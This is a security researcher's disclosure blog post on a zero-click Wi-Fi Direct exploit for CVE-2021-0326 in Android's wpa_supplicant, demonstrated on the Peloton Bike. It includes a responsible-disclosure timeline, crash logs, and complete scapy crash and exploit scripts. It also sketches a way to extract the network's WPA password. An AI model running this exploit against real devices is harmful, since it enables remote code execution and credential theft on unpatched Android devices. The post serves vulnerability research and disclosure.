NOWSECURE NOW AVAILABLE IN THE MICROSOFT AZURE MARKETPLACE

Microsoft Azure customers gain access to NowSecure Mobile App Security and Privacy Testing for scalability, reliability, and agility of Azure to drive mobile appdev and shape business strategies.

Media Announcement
NOWSECURE NOW AVAILABLE IN THE MICROSOFT AZURE MARKETPLACE NOWSECURE NOW AVAILABLE IN THE MICROSOFT AZURE MARKETPLACE Show More
magnifying glass icon

A Zero-Click RCE Exploit for the Peloton Bike (And Also Every Other Unpatched Android Device)

Posted by

Austin Emmitt

Mobile Security Researcher
Austin Emmitt is a Mobile Security Researcher at Nowsecure. He enjoys bugfinding but not bughunting so he spends most of his time automating security tasks.

TL;DR: The Peloton Bike ran an unpatched version of Android 7 which led to it being vulnerable to a number of known issues, most significantly CVE-2021-0326, which could allow an attacker within WiFi range to execute arbitrary code on the device. There is no requirement for the user to interact with any attacker controlled data, the user must only tap the Cast Screen option in the upper right corner menu to be vulnerable. I own a Peloton Bike and discovered the device’s vulnerability to this issue as part of my work as a mobile security researcher for NowSecure. I reported it to Peloton via its responsible disclosure program and Peloton worked with us to quickly fix this vulnerability and deploy the fix to all impacted devices. 

Because this is a vulnerability in wpa_supplicant, all unpatched Android devices are potentially vulnerable to this issue. The proof-of-concept (POC) exploit included in this post will only work with ASLR disabled but it is very likely that a bypass is possible.

Foreshadowing

This is the second post in a series about the Peloton Bike security. The previous post briefly touched on the security of the bike tablet, noting only that the fully updated device was running a version of Android 7. From the output of getprop we can check the last security patch date:

...
[ro.build.version.release]: [7.0]
[ro.build.version.sdk]: [24]
[ro.build.version.security_patch]: [2019-08-05]
...

So that’s when it was last patched — 2019-08-05. I began my research in August 2021 so there were two (2) years of unpatched vulnerabilities to try out on the bike. Immediately I was determined to find a working RCE exploit for the Peloton to demonstrate the seriousness of being so out of date on patches. With two years of issues to pick from it was going to be really, really easy.

Timeline

  • 09/22/2021 – Disclosed initial results to Peloton Product Security which included:
    • Vulnerability to CVE-2019-2205 which could lead to RCE
    • Vulnerability to CVE-2020-0022 which could lead to RCE
  • 09/29/2021 – Peloton indicated in an initial response that it was still investigating the issues.
  • 10/05/2021 – Peloton requested PoCs for the two issues.
  • 10/06/2021 – Sent PoCs that result in crashes.
  • 10/12/2021 – Peloton verified the vulnerabilities and assigned them CVSS scores:
    • CVE-2019-2205: 4.6 – Medium
    • CVE-2020-0022: 5.0 – Medium
  • 10/13/2021 – NowSecure agreed with the scores based on the difficulty of exploitation.
  • 10/26/2021 – Disclosed vulnerability to CVE-2021-0326 which could lead to RCE.
  • 11/05/2021 – Peloton verified that the Bike was vulnerable to CVE-2021-0326.
  • 11/08/2021 – Peloton assigned CVE-2021-0326 a CVSS score of 7.5 – High.
    • Our assessment was that the score should be 8.3 or higher.
  • 12/16/2021 – Peloton confirmed that a release that would fix the above CVEs would be deployed starting the next week and being rolled out to all devices by the end of January.
  • 01/15/2022 – NowSecure verified fixes to the 3 CVEs.
  • 02/09/2022 – This blog post is published. 

Initial Success

The first vulnerability I tested was one I actually discovered in August 2019 that affected Android’s handling of Proxy Auto-Configuration (PAC) files, detailed here NowSecure Discovers Critical Android Vuln That May Lead to Remote Code Execution. The gist of this issue is that the PAC files are simply Javascript code and libpac, the library Android has to parse them, uses V8 to execute this code. A pitfall of V8 is that it requires the program embedding it to handle the allocations of ArrayBuffer objects. The way that libpac did this was incorrect, which made it possible for a malicious PAC script to overwrite the allocate and free function pointers to take control of program execution. As an attacker could intercept and modify a PAC file sent over HTTP, this technically counted as an RCE. I set the proxy settings on the Peloton Tablet to point to the PAC vulnerability PoC and checked logcat to see:

sending Proxy Broadcast for PAC Script: http://192.168.50.177:8000/paccrash.pac[localhost] 43363 xl=
Fatal signal 11 (SIGSEGV), code 2, fault addr 0x7b7a320400 in tid 21256 (Binder:21230_4)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'Peloton/RB1VQ/RB1VQ:7.0/NQV46A/1605503422:user/release-keys'
Revision: '0'
ABI: 'arm64'
pid: 21230, tid: 21256, name: Binder:21230_4  >>> com.android.pacprocessor <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x7b7a320400
x0   0000007b737b8fd0  x1   00000000cafebabe  x2   00000000cafebabe  x3   0000000000000001
x4   0000000000000000  x5   0000007b1e403751  x6   0000007b1e36be80  x7   0000000000000000
x8   0000007b737b8fd0  x9   0000007b7a320400  x10  0000000000000040  x11  0000000000000040
x12  0000007b3fa52c60  x13  0000000000000000  x14  0000007b7306c3f0  x15  003b9aca00000000
x16  0000007b6098f970  x17  0000007b7c62b9dc  x18  0000000000000002  x19  0000000000000000
x20  0000007b73086c40  x21  00000000cafebabe  x22  0000007b5fe1c070  x23  c643de9b321b87de
x24  0000007b5fe1dff0  x25  0000007b5fe1c060  x26  0000007b73086c88  x27  0000007b1e319a89
x28  0000007b736bbb20  x29  0000007b736bbaa0  x30  0000007b603dd524
sp   0000007b736bba80  pc   0000007b7a320400  pstate 0000000060000000

backtrace:
     #00 pc 0000000000120400  [anon:libc_malloc:0000007b7a200000]
     #01 pc 00000000002f5520  /system/lib64/libpac.so
     #02 pc 00000000004904fc  /system/lib64/libpac.so
     #03 pc 0000000000028a24  <anonymous:0000007b1eb84000>

So it was clear that the patch date was accurate. However unlike on the Pixel 3a on Android 9 the vtable was not overwritten by the URL passed to the resolver, instead being overwritten by a heap address. Depending on where on the stack this heap address came from the bug may not be exploitable. And regardless there is only one person in the world who has ever set their Peloton to use a proxy auto-config file, and that person has two thumbs and is writing a blog post right now. I wanted to find a vulnerability that could be realistically triggered during normal use of the bike by a normal person.

Failure

This decision would drastically cut down the number of public vulnerabilities to choose from. Most serious mobile platform vulnerabilities come from browser bugs or parsing corrupt media files, and RCE exploits typically work by sending those files by SMS, email, WhatsApp, etc… The Peloton doesn’t have those things. It is possible to set a profile picture that others will see, but that image goes through an image formatting service before being sent to the tablet which prevents any sort of maliciously crafted file from reaching a bike user. Also the tablet doesn’t have NFC so that’s out.Essentially the only publicly disclosed vulnerabilities left were those that targeted the bluetooth and networking stack. Luckily there were many bluetooth vulnerabilities to choose from, the most notable being CVE-2020-0022. This vulnerability and an exploit for it were covered in an excellent blog post here CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag. The issue stems from the parsing of L2CAP packets that have been fragmented. When reassembling the fragments in the bluetooth daemon the remaining length was not checked, allowing it to be less than the HCI_ACL_PREAMBLE_SIZE which led to a negative size being passed to memcpy. Memcpy then interprets this as an unsigned integer, leading to an overflow due to this massive size. I tested the PoC provided with this blog and was excited to see this result:

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'Peloton/RB1VQ/RB1VQ:7.0/NQV46A/1605503422:user/release-keys'
Revision: '0'
ABI: 'arm'
pid: 625, tid: 1003, name: bluetooth wake  >>> com.android.bluetooth <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xcca00000
r0 cca00000  r1 cc9fffe8  r2 fffbb23a  r3 00000004
r4 cc9bb258  r5 00000014  r6 cc9bb288  r7 0000000e
r8 00000004  r9 00000000  sl cdf7ddd0  fp 0000000b
ip 80000000  sp cd42f420  lr cdeb2aaf  pc e86f14c0  cpsr a00f0010

backtrace:
     #00 pc 000174c0  /system/lib/libc.so (memcpy+116)
     #01 pc 0007eaab  /system/lib/hw/bluetooth.default.so
     #02 pc 0007d45b  /system/lib/hw/bluetooth.default.so
     #03 pc 000e6f9b  /system/lib/hw/bluetooth.default.so
     ...

However there was an issue; the above blog post was dealing with ARM64 and the bluetooth daemon on the Peloton was (weirdly) 32 bit ARM. The implementation of memcpy in the ARM64 version has a quirk that allows the negative sized copy to end, which also allows the exploit to leak memory containing addresses. The 32 bit implementation did not have that quirk. Luckily at the very end of the post there was salvation: a different exploit for this vulnerability on a 32 bit device by Polo35. Instead of relying on the underflow this exploit used a zero length memcpy to read 4 bytes of uninitialized memory.

Unfortunately this also did not work on the version of the bluetooth daemon on the Peloton. There was no way to leak memory or prevent crashes from memcpy. It ultimately was not exploitable.

I then went through every other bluetooth vulnerability listed in those two years of Android Security Bulletins. Some were unexploitable. Many were kind of “theoretical” vulnerabilities that might exist for certain configurations that don’t exist in reality. Others I could not reproduce or even see how there was a vulnerability at all.

It sucked. I was stuck.

Peloton worked with us to quickly fix this vulnerability and deploy the fix to all impacted devices.

Redemption

It was my belief when I started that there would be at least one, probably more, well documented vulnerabilities that I would be able to use to easily get code execution on this unpatched device. Two years is a long time in infosec. However this does not reflect the current state of Android security. Actual (publicly known) exploitable RCE vulnerabilities in Android, especially outside of chrome and the media framework, are pretty few and far between. I understand a bit more now why 0-Click Android exploits became more expensive than iOS.

Previously I had been looking at older vulnerabilities, specifically looking for better documented ones, hopefully with exploits that I could simply rework for the Peloton. I gave up on that. Additionally I had exhausted the known Bluetooth vulnerabilities so I started looking elsewhere. I turned to WiFi and read about CVE-2021-0326 in the February 2021 Android Security Bulletin

The description of CVE-2021-0326 is

In p2p_copy_client_info of p2p.c, there is a possible out of bounds write due to a missing bounds check. This could lead to remote code execution if the target device is performing a Wi-Fi Direct search, with no additional execution privileges needed. User interaction is not needed for exploitation.

I had overlooked this CVE for a few reasons, namely that I didn’t know what a “Wi-Fi Direct search” was, and I didn’t know whether the attacker needed to be on the same network. This was a constraint I wanted to avoid if possible. However I discovered that a core feature of the Peloton Bike, the ability to screen cast, used Wi-Fi Direct as implemented by Miracast. This is an important feature of the Bike since its tablet can’t be turned (unlike the Bike+), so classes other than cycling are best viewed on a different screen. When the Cast Screen option is selected from the upper right corner menu the tablet performs the “WiFi Direct search” described in the CVE description. Since Wi-Fi Direct is a way to form ad hoc networks an attacker does not need to be on the same network as the victim device. This was beginning to look like an ideal target.

There is essentially nothing written about this CVE besides what is in the description and what is in the commit message here

0b60cb210510c68871c8d735285bc4915de3bd80 – platform/external/wpa_supplicant_8 – Git at Google.

From the diff we can see that the vulnerable code in p2p_copy_client_info is:

static void p2p_copy_client_info(struct p2p_device *dev,
				 struct p2p_client_info *cli)
{
	p2p_copy_filter_devname(dev->info.device_name,
				sizeof(dev->info.device_name),
				cli->dev_name, cli->dev_name_len);
	dev->info.dev_capab = cli->dev_capab;
	dev->info.config_methods = cli->config_methods;
	os_memcpy(dev->info.pri_dev_type, cli->pri_dev_type, 8);
	dev->info.wps_sec_dev_type_list_len = 8 * cli->num_sec_dev_types;
	os_memcpy(dev->info.wps_sec_dev_type_list, cli->sec_dev_types,
		  dev->info.wps_sec_dev_type_list_len);
}

There is no length check here to make sure that 8 * cli->num_sec_dev_types does not exceed the bounds of the field wps_sec_dev_type_list which has a capacity of 128 (8 bytes * 16 entries) in info, an instance of the p2p_peer_info struct defined in p2p.h:

#define P2P_MAX_WPS_VENDOR_EXT 10

/**
 * struct p2p_peer_info - P2P peer information
 */
struct p2p_peer_info {
    ...
	/**
	 * wps_sec_dev_type_list - WPS secondary device type list
	 *
	 * This list includes from 0 to 16 Secondary Device Types as indicated
	 * by wps_sec_dev_type_list_len (8 * number of types).
	 */
	u8 wps_sec_dev_type_list[WPS_SEC_DEV_TYPE_MAX_LEN]; // overflow occurs here

	/**
	 * wps_sec_dev_type_list_len - Length of secondary device type list
	 */
	size_t wps_sec_dev_type_list_len;

	struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT]; // can overflow into this

	/**
	 * wfd_subelems - Wi-Fi Display subelements from WFD IE(s)
	 */
	struct wpabuf *wfd_subelems; // this 
	
	/**
	 * vendor_elems - Unrecognized vendor elements
	 *
	 * This buffer includes any other vendor element than P2P, WPS, and WFD
	 * IE(s) from the frame that was used to discover the peer.
	 */
	struct wpabuf *vendor_elems; // and this, but no further
	...

WPS_SEC_DEV_TYPE_MAX_LEN is defined to be 128 in wps.h. It turns out there is also no length check in p2p_group_info_parse, the function where cli->num_sec_dev_types originates from (it is included here in full due to its importance)

int p2p_group_info_parse(const u8 *gi, size_t gi_len,
			 struct p2p_group_info *info)
{
	const u8 *g, *gend;

	os_memset(info, 0, sizeof(*info));
	if (gi == NULL)
		return 0;

	g = gi;
	gend = gi + gi_len;
	while (g < gend) {
		struct p2p_client_info *cli;
		const u8 *cend;
		u16 count;
		u8 len;

		cli = &info->client[info->num_clients];
		len = *g++;
		if (len > gend - g || len < 2 * ETH_ALEN + 1 + 2 + 8 + 1)
			return -1; /* invalid data */
		cend = g + len;
		/* g at start of P2P Client Info Descriptor */
		cli->p2p_device_addr = g;
		g += ETH_ALEN;
		cli->p2p_interface_addr = g;
		g += ETH_ALEN;
		cli->dev_capab = *g++;

		cli->config_methods = WPA_GET_BE16(g);
		g += 2;
		cli->pri_dev_type = g;
		g += 8;

		/* g at Number of Secondary Device Types */
		len = *g++;
		if (8 * len > cend - g)
			return -1; /* invalid data */
		cli->num_sec_dev_types = len;
		cli->sec_dev_types = g;
		g += 8 * len;

		/* g at Device Name in WPS TLV format */
		if (cend - g < 2 + 2)
			return -1; /* invalid data */
		if (WPA_GET_BE16(g) != ATTR_DEV_NAME)
			return -1; /* invalid Device Name TLV */
		g += 2;
		count = WPA_GET_BE16(g);
		g += 2;
		if (count > cend - g)
			return -1; /* invalid Device Name TLV */
		if (count >= WPS_DEV_NAME_MAX_LEN)
			count = WPS_DEV_NAME_MAX_LEN;
		cli->dev_name = (const char *) g;
		cli->dev_name_len = count;

		g = cend;

		info->num_clients++;
		if (info->num_clients == P2P_MAX_GROUP_ENTRIES)
			return -1;
	}

	return 0;
}

The only constraint here is that the length of sec_dev_types cannot be larger than the remaining data in the buffer and the length of the data for each client needs to be less than 256 as it must fit in a u8. This puts some limits on what can be done with the vulnerability as it means that it can’t be used to leak data after the end of the controlled buffer, and it has a limited range to overflow. The group client info needs to include 23 bytes before the secondary devices, and a minimum of 4 for a zero length device name  combined with the 128 bytes of secondary device types gives 101 bytes of overflow. There are 4 bytes between wps_sec_dev_type_list and wps_vendor_ext, the 4 bytes of size_t wps_sec_dev_type_list_len. Ultimately this allows the attacker to only overflow into struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT], and struct wpabuf *wfd_subelems. The only time these pointers are used after the overflow is when they are freed when the device is lost. Therefore the overflow can only be used to free up to 11 arbitrary addresses at a time.

I figured most of this out later, as initially I was focused on simply reproducing the crash from this overflow. The issue was discovered by OSS-Fuzz libFuzzer and the only artifact was a raw dump of bytes with no information related to where they were to be used as input. 

There was no public additional context given to help actually reproduce it. Eventually after reading much more of the source I discovered that I could reproduce the crash by modifying p2p_group_build_probe_resp_ie in the attackers wpa_supplicant in order to return a wpabuf containing only these bytes. With the help of Wireshark I was able to understand the meaning of the data and eventually created a minimal crash PoC Python script using scapy: 

from scapy.all import *

iface = 'wlp4s0mon'           # interface in monitor mode
target = 'ac:04:0b:e9:30:69'  # target MAC address
mac = RandMAC()               # (fake) mac address of source 

dot11 = Dot11FCS(addr1=target, addr2=mac)
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID', info='DIRECT-XX') # DIRECT- SSID for WFD
rates = Dot11Elt(ID='Rates', info=b"x48")    # rate of monitor mode iface
rsn = Dot11Elt(ID='RSNinfo', info=(
    b"x01x00"          # RSN Version 1
    b"x00x0fxacx02"  # Group Cipher Suite : 00-0f-ac TKIP
    b"x02x00"          # 2 Pairwise Cipher Suites (next two lines)
    b"x00x0fxacx04"  # AES Cipher
    b"x00x0fxacx02"  # TKIP Cipher
    b"x01x00"          # 1 Authentication Key Management Suite (line below)
    b"x00x0fxacx02"  # Pre-Shared Key
    b"x00x00"))        # RSN Capabilities (no extra capabilities)

sec_devs = 0x13 # number of secondary device types
group = (
    b"AAAAAA" +                    # p2p client device addr
    b"BBBBBB" +                    # p2p client interface addr
    b"xff" + b"x01x88" +        # capabilities, config methods
    b"EEEEEEEE" +                  # primary dev type
    struct.pack("<B", sec_devs) +  # secondary dev type count
    b"x00"*(sec_devs*8-12) +      # nulls to fill up sec devs
    b"AAAAAAAA" +                  # address to be freed
    b"x00x00x00x00" +          # 4 nulls for padding
    b"x10x11x00x00")           # empty device name 

group = struct.pack("<B", len(group)) + group # p2p group info 
p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=(
    b"x09x03" +                    # p2p identifier
    b"x06x00" + b"CCCCCC" +        # p2p device id len, id
    b"x0e" +                        # p2p client info identifier
    struct.pack("<H", len(group)) +  # total length of group client 
    group))                          # group client data

# assemble and send packet
packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p
sendp(packet, iface=iface, inter=0.100, loop=1)

You can match up the contents of group here to the different fields parsed in p2p_group_info_parse. This is the most important part of the script, the rest is mostly setup to create a proper packet. You may need to change the rates field to work with the channel your interface is on, as well as change the interface name and target of course. Running this script and then clicking on Cast Screen on the Peloton resulted in a crash log with fault addr 0x41414141414159 where both x0 = 4141414141414141 and x19 = 4141414141414141 and the backtrace contained:

#00 pc 000000000001b950  /system/bin/wpa_supplicant
#01 pc 000000000004a1c4  /system/bin/wpa_supplicant
#02 pc 0000000000050204  /system/bin/wpa_supplicant
...

On an Android 9 Pixel 3a the backtrace is symbolicated so that we can see the crash is in wpabuf_free:

#00 pc 0000000000045bb4  /vendor/bin/hw/wpa_supplicant (wpabuf_free.cfi+20)
#01 pc 0000000000078674  /vendor/bin/hw/wpa_supplicant (p2p_device_free.cfi+164)
#02 pc 000000000007f818  /vendor/bin/hw/wpa_supplicant (p2p_flush.cfi+124)
...

Looking at this address in radare2 we can see the exact instruction that led to the crash. The instruction in question checks the flags field of the wpabuf and if it is 0 (it normally is) it frees the wpabuf address stored in x19.

Now that we know the vulnerability can be used to free arbitrary addresses it’s time to start the real exploit.

Exploitation

After a decent amount of research about the possibility of leaking addresses or remotely spraying the heap enough to reliably bypass ASLR, I determined that instead I should begin by creating an exploit that worked with ASLR disabled. Accordingly the PoC in the next section will not work on stock devices, all of which will have the address space randomized. A subsequent section will detail possible ways of defeating ASLR, and I am quite confident that an experienced exploit developer could use these strategies successfully in an exploit. 

With the ability to free arbitrary locations, and the knowledge of where structures are on the heap, my initial plan was to find a struct containing a callback function pointer, free it, then overwrite it with attacker controlled data. In particular there are a few good candidates for data to overwrite with, and they are ones we have already seen: struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT] and struct wpabuf *wfd_subelems. These are allocated in p2p_add_device

...
	for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) {
		wpabuf_free(dev->info.wps_vendor_ext[i]);
		dev->info.wps_vendor_ext[i] = NULL;
	}

	for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) {
		if (msg.wps_vendor_ext[i] == NULL)
			break;
		dev->info.wps_vendor_ext[i] = wpabuf_alloc_copy(
			msg.wps_vendor_ext[i], msg.wps_vendor_ext_len[i]);
		if (dev->info.wps_vendor_ext[i] == NULL)
			break;
	}

	wfd_changed = p2p_compare_wfd_info(dev, &msg);

	if (msg.wfd_subelems) {
		wpabuf_free(dev->info.wfd_subelems);
		dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems);
	}
	...

In general I will use struct wpabuf *wps_vendor_ext to perform overwrites of data freed with the arbitrary free primitive, as up to 10 ( P2P_MAX_WPS_VENDOR_EXT) can be allocated with each sent packet, and their length can be completely controlled. Vendor extensions can be added to the packet in the scapy script easily

vendor_ext = Dot11EltVendorSpecific(oui=0x0050f2, info=b"x04x10x49" + ... )
...
packet = packet / vendor_ext

wps_vendor_ext is a wpabuf, a structure the exploit will deal with a lot so it is definitely worth delving into its layout. Its definition is in wpabuf.h

struct wpabuf {
	size_t size; /* total size of the allocated buffer */
	size_t used; /* length of data in the buffer */
	u8 *buf; /* pointer to the head of the buffer */
	unsigned int flags;
	/* optionally followed by the allocated buffer */
};

It is the data structure that wpa_supplicant uses to store essentially every buffer of unknown length. Nearly every single heap allocation of attacker controlled data is stored in a wpabuf. This creates some issues for the previously planned heap exploit as the size used, and flag fields will not be controllable and will need to overwrite fields that will not disrupt the execution. Additionally the buf pointer may cause issues, but could also be useful to write a pointer to the controlled data. This turns out to be quite tricky as illustrated by the first attempted overwrite target, wpa_radio defined in wpa_supplicant_i.h.

/**
 * struct wpa_radio - Internal data for per-radio information
 *
 * This structure is used to share data about configured interfaces
 * (struct wpa_supplicant) that share the same physical radio, e.g., to allow
 * better coordination of offchannel operations.
 */
struct wpa_radio {
	char name[16]; /* from driver_ops get_radio_name() or empty if not
			* available */
	unsigned int external_scan_running:1;
	unsigned int num_active_works;
	struct dl_list ifaces; /* struct wpa_supplicant::radio_list entries */
	struct dl_list work; /* struct wpa_radio_work::list entries */
};

#define MAX_ACTIVE_WORKS 2

struct wpa_radio_work {
	struct dl_list list;
    ...
	void (*cb)(struct wpa_radio_work *work, int deinit);
	...
};

wpa_radio was chosen specifically because it starts with name[16] which means that by overwriting it with a wpabuf we do not have to worry about size and used overwriting anything important. Unfortunately the same cannot be said of flags and buf. Here buf overwrites num_active_works and flags and the 4 bytes of padding after it overwrites the first iface pointer in the doubly-linked list. The goal here was to overwrite the work field with pointers to fake wpa_radio_work entries that have the function pointer cb. Unfortunately the code before cb is called contains references to the iface and a compiler optimization removes the NULL check for it (as it could only be NULL through undefined behavior). This results in a crash that is difficult to avoid. Even when avoided there is another check to make sure num_active_works is less than MAX_ACTIVE_WORKS before the callback. The pointer buf when interpreted as an unsigned int is larger than 2. Trying to offset the data to change where the fields landed within wpa_radio led to crashes from overwriting crucial structures in the adjacent heap allocations.

This target was a disaster as there were many tricks that very, very nearly made it work. But ultimately it was not the right choice to overwrite. With a large complex program like wpa_supplicant it is somewhat surprising but there are actually relatively few good picks for this. After more searching I landed on  eloop_timeout defined in eloop.c.

struct eloop_timeout {
	struct dl_list list;
	struct os_reltime time;
	void *eloop_data;
	void *user_data;
	eloop_timeout_handler handler;
	WPA_TRACE_REF(eloop);
	WPA_TRACE_REF(user);
	WPA_TRACE_INFO
};

typedef void (*eloop_timeout_handler)(void *eloop_data, void *user_ctx);

This is related to the radio structures as these eloop_timeout are used to schedule repeated tasks within wpa_supplicant, including the scans that use wpa_radio. Once the time in the timeout has been reached the handler function is called with eloop_data and user_data as arguments. These scheduled tasks are stored in a global static variable called eloop that contains a doubly linked list of every active eloop_timeout (called timeout). It happened that the first eloop_timeout was reliably located at 0x7fb743d1c0. However freeing 0x7fb743d1c0 would lead to that address being reallocated by our chosen data. This would mean that struct dl_list list will be overwritten by size and used. This is a problem as it will cause crashes when the list is traversed in the functions in eloop.c. So instead the exploit can offset the free, using 0x7fb743d1a0 (0x7fb743d1c0-0x20), which will lead to an allocation at this address. Since these allocations are 0x40 bytes or less the exploit can then overwrite the first 0x20 bytes of this eloop_timeout. Now struct dl_list list is overwritten with fully attacker controlled data, the body of a wps_vendor_ext. Using this we can forge an entry in the list that points to fully attacker controlled data, and also repair the list so that it does not crash when traversed. The struct dl_list consists of two pointers, next and prev implementing a doubly linked list

/**
 * struct dl_list - Doubly-linked list
 */
struct dl_list {
	struct dl_list *next;
	struct dl_list *prev;
};

#define DL_LIST_HEAD_INIT(l) { &(l), &(l) }

static inline void dl_list_init(struct dl_list *list)
{
	list->next = list;
	list->prev = list;
}
...
static inline int dl_list_empty(struct dl_list *list)
{
	return list->next == list;
}
...

A list is terminated when the current item.next is back at the address of the list itself. Therefore in order to insert a new entry with the overwrite, next needs to point to our new fake entry and prev must still point to list, which here is 0x55556fc6b0 an address in the static variable eloop in the main module. Next our fake entry, made from the contents of another wps_vendor_ext, starts with a dl_list which has a next that points to 0x55556fc6b0 and a prev that points to 0x7fb743d1c0. This constitutes a valid chain of dl_list entries so that the eloop_timeout functions will not crash before reaching the handler function pointer in our fake entry. At this point it is time to show the finished exploit

from scapy.all import *
import argparse

desc = """
Skeleton (but pronounced like Peloton):
A 0-click RCE exploit for CVE-2021-0326

Austin Emmitt of Nowsecure (@alkalinesec)
"""

parser = argparse.ArgumentParser(description=desc,
    formatter_class=argparse.RawTextHelpFormatter)

parser.add_argument('-i', dest='interface', required=True,
    help='network interface in monitor mode')
parser.add_argument('-t', dest='target', required=True, 
    help='target MAC address')
args = parser.parse_args()

iface = args.interface        # interface in monitor mode
target = args.target          # target MAC address

base  = 0x5555555000          # base address of main module
eloop = 0x7fb743d1c0          # eloop_timeout address
p2    = 0x7fb742e500          # second part of payload

eloop_next = base + 0x1a76b0  # eloop next (&list terminates)
wpa_printf = base + 0x1a938   # addr of wpa_printf

msg = b"hi :)"                # log on success (< 8 bytes)
frees = [eloop-0x20]          # list of addrs to free (up to 10)
sec_devs = 0x12+len(frees)    # number of secondary device types

p64 = lambda x: struct.pack("<Q", x)

def build_beacon(dev_mac, client_mac):
    group = (
        client_mac + b"CCCCCCxffDDEEEEEEEE" +  # p2p client information
        struct.pack("<B", sec_devs) +           # secondary dev count
        b"x00"*(sec_devs*8-8*len(frees)-4) +   # nulls to fill up sec devs
        b"".join(p64(x) for x in frees) +       # addresses to be freed
        b"x00x00x00x00x10x11x00x00")    # empty device name 

    group = struct.pack("<B", len(group)) + group # p2p group info 
    p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=(
        b"x09x03x06x00" + dev_mac +          # p2p device id, group info
        b"x0e" +                                # p2p group info identifier
        struct.pack("<H", len(group)) + group))  # len of group info 

    ext_data1 = (
        p64(p2) +          # next: address of ext_data2
        p64(eloop_next) +  # previous: address of terminator
        b"x00"*16)        # times filled with 00 so it doesn't reorder

    vendor1 = Dot11EltVendorSpecific(oui=0x0050f2, info=(
        b"x04x10x49" +                    # vendor extension id
        struct.pack(">H", len(ext_data1)) +  # length of 1st payload
        ext_data1))                          # 1st payload data

    ext_data2 = (
        p64(eloop_next) +            # next: address of terminator
        p64(eloop) +                 # previous: address of ext_data1
        p64(0) + p64(0) +            # times set to 0 so it runs right away
        p64(5) + p64(p2+0x38) +      # error level, address of msg 
        p64(wpa_printf) +            # addr of wpa_printf to jump to 
        msg + b"x00"*(8-len(msg)))  # message and null padding

    vendor2 = Dot11EltVendorSpecific(oui=0x0050f2, info=(
        b"x04x10x49" +                    # vendor extension id
        struct.pack(">H", len(ext_data2)) +  # length of 2nd payload
        ext_data2))                          # 2nd payload data

    mac = RandMAC() # (fake) mac address of source 
    dot11 = Dot11FCS(addr1=target, addr2=mac, addr3=mac)
    beacon = Dot11Beacon(cap='ESS+privacy')
    essid = Dot11Elt(ID='SSID', info='DIRECT-XX') 
    rates = Dot11Elt(ID='Rates', info=b"x48")    
    rsn = Dot11Elt(ID='RSNinfo', info=(
        b"x01x00"          # RSN Version 1
        b"x00x0fxacx02"  # Group Cipher Suite : 00-0f-ac TKIP
        b"x02x00"          # 2 Pairwise Cipher Suites 
        b"x00x0fxacx04"  # AES Cipher
        b"x00x0fxacx02"  # TKIP Cipher
        b"x01x00"          # 1 Authentication Key Management Suite 
        b"x00x0fxacx02"  # Pre-Shared Key
        b"x00x00"))        # RSN Capabilities 

    # assemble packet
    packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p

    # add fake eloop_timeout elements
    for vendor in (vendor1, vendor2):
        for i in range(5):
            packet = packet / vendor

    return packet 

mac1 = b"AAAAAA"  # first dev MAC
mac2 = b"BBBBBB"  # first client MAC

# two packets with swapped addresses 
# to free at least ones vendor_ext
packet1 = build_beacon(mac1, mac2)
packet2 = build_beacon(mac2, mac1)

print("sending exploit to %s" % target)
sendp([packet1, packet2], iface=iface, inter=0.100, loop=1)

Much of this script should be familiar from the crash PoC. The new parts are the two vendor extension elements, ext_data1 which will overwrite the beginning of the eloop_timeout at 0x7fb743d1c0, and ext_data2 which will contain the fake eloop_timeout that is added to the doubly linked list. The address of p2, 0x7fb742e500, has some room for error as the payloads are spread many times throughout these regions of the heap. The address 0x7fb742e500 was chosen as it was the first address that was fully reliable, but 0x7fb742e580, 0x7fb742e600… would also have worked. The second payload also sets the time field to be all zeros, which will allow the timeout to run immediately. Finally eloop_data and user_data are passed as arguments to the handler when it is called

/* check if some registered timeouts have occurred */
timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list);
if (timeout) {
	os_get_reltime(&now);
	if (!os_reltime_before(&now, &timeout->time)) {
		void *eloop_data = timeout->eloop_data;
		void *user_data = timeout->user_data;
		eloop_timeout_handler handler = timeout->handler;
		eloop_remove_timeout(timeout);
		handler(eloop_data, user_data);
	}
}

This is very convenient and the exploit can simply set eloop_data, user_data, and handler to 5, the address of the last 8 bytes of our payload, and the address of wpa_printf respectively in order to completely set up a call that will log our message to prove the code execution succeeded. 

See the below diagram for an illustration of the overwrite that occurs, and how the overwrite adds the new entry to the eloop_timeout list.

In order to make this exploit work on your device you will need to disable ASLR (use echo 0 > /proc/sys/kernel/randomize_va_space) and also get the correct addresses for your version of wpa_supplicant. In the repo for this blog post there will be a Frida script that can help in determining those values. After running the script with the correct target and interface arguments, wait 15 seconds or so and then tap Cast Screen on the Peloton (or go to Wifi Direct in Settings on any other unpatched Android device). After a few seconds the exploit should succeed and logcat will contain output similar to

...
D wpa_supplicant: P2P: * Device Info
D wpa_supplicant: p2p-dev-wlan0: Add radio work 'p2p-listen'@0x7fb742e540
D wpa_supplicant: p2p-dev-wlan0: First radio work item in the queue - schedule start immediately
E wpa_supplicant: hi :)

(followed by a crash, this is not a graceful exploit). If the exploit does not succeed and there is no crash, press the refresh button in the top right of the Cast Screen menu, it may be that the device did not receive the exploit beacons in time. In a realistic attack scenario an attacker can get the target MAC address by sniffing on the same interface to find probe requests looking for the “Direct-” SSID.

A more interesting exploit of this vulnerability could find the WPA PSK password of the network the device is on and send it back to the attacker through a probe request / response or beacon by e.g. replacing the Manufacturer field with the password. The password for my network was reliably located at 0x7fb742a400 so this should be relatively simple to implement.

Defeating ASLR

